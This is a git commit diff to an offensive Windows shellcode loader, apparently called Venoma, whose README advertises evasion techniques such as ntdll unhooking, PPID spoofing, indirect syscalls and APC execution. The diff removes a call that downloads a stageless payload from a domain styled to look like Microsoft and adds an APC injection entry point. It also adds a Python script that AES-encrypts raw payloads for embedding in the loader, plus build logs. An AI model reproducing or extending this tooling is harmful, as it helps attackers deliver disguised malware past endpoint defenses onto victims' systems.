add apc exec

Kobra/Ven.h

@@ -6,7 +6,9 @@
 BOOL isItHooked(LPVOID addr);
 std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename);
 DWORD GetPID();
-void execution(std::vector<BYTE> sh, DWORD exPID);
+
+void raw_exec_ppid(std::vector<BYTE> sh, DWORD exPID);
+void IndirectAPC();
 
 FARPROC CustomGetProcAddress(IN HMODULE hModule, IN DWORD lpApiName);
 HMODULE CustomGetModuleHandle(IN LPCWSTR szModuleName);

Kobra/Venoma.cpp

@@ -12,11 +12,26 @@ int main()
     // PPID spoofing
     // Process hollowing
     // Indirect syscalls execution
-    
-    DWORD pid = GetPID();
-    
-    // Raw stageless payload targetting microsoft.lestutosdeprocessus.fr
-    std::vector<BYTE> sh = Download(L"microsoft.lestutosdeprocessus.fr\0", L"/payload.bin\0");
+    // APC execution
+
+
+
+
+    // Get spoolsv PID for PPI spoofing
+    // DWORD pid = GetPID();
+
+    // For payload download 
+    // std::vector<BYTE> sh = Download(L"malware.ext\0", L"/payload.bin\0");
+
+    // For synchronous payload execution with PPID spoofing
+    // raw_exec_ppid(sh, pid);
+
+
+
+
+    // For APC execution with indirect syscalls
+    IndirectAPC();
+
+
 
-    execution(sh, pid);
 }

Kobra/x64/Release/Venoma.Build.CppClean.log

@@ -0,0 +1,16 @@
+c:\users\processus\documents\github\venoma\kobra\x64\release\vc143.pdb
+c:\users\processus\documents\github\venoma\kobra\x64\release\ven.obj
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.obj
+c:\users\processus\documents\github\venoma\x64\release\venoma.exe
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.ipdb
+c:\users\processus\documents\github\venoma\x64\release\venoma.pdb
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.iobj
+c:\users\processus\documents\github\venoma\kobra\x64\release\syscalls.obj
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\cl.command.1.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\cl.read.1.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\cl.write.1.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\link.command.1.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\link.read.1.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\link.write.1.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\masm.read.1u.tlog
+c:\users\processus\documents\github\venoma\kobra\x64\release\venoma.tlog\masm.write.1u.tlog

Kobra/x64/Release/Venoma.exe.recipe

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project>
+  <ProjectOutputs>
+    <ProjectOutput>
+      <FullPath>C:\Users\Processus\Documents\GitHub\Venoma\x64\Release\Venoma.exe</FullPath>
+    </ProjectOutput>
+  </ProjectOutputs>
+  <ContentFiles />
+  <SatelliteDlls />
+  <NonRecipeFileRefs />
+</Project>

Kobra/x64/Release/Venoma.tlog/Venoma.lastbuildstate

@@ -0,0 +1,2 @@
+PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.35.32215:TargetPlatformVersion=10.0.22621.0:
+Release|x64|C:\Users\Processus\Documents\GitHub\Venoma\|

README.md

@@ -14,6 +14,7 @@
 > <strong>Run-Time Dynamic Linking</strong><br />
 > <strong>Ntdll unhooking</strong><br />
 > <strong>PPID spoofing</strong><br />
+> <strong>APC Execution</strong><br />
 > <strong>Indirect syscall execution</strong><br />
 > <br />
 <br>

aes.py

@@ -0,0 +1,26 @@
+# Red Team Operator course code template
+# payload encryption with AES
+# 
+# author: reenz0h (twitter: @SEKTOR7net)
+
+import sys
+from base64 import b64encode
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+from Crypto.Random import get_random_bytes
+import hashlib
+
+KEY = get_random_bytes(16)
+iv = 16 * b'\x00'
+cipher = AES.new(hashlib.sha256(KEY).digest(), AES.MODE_CBC, iv)
+
+try:
+    plaintext = open(sys.argv[1], "rb").read()
+except:
+    print("File argument needed! %s <raw payload file>" % sys.argv[0])
+    sys.exit()
+
+ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
+
+print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
+print('char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')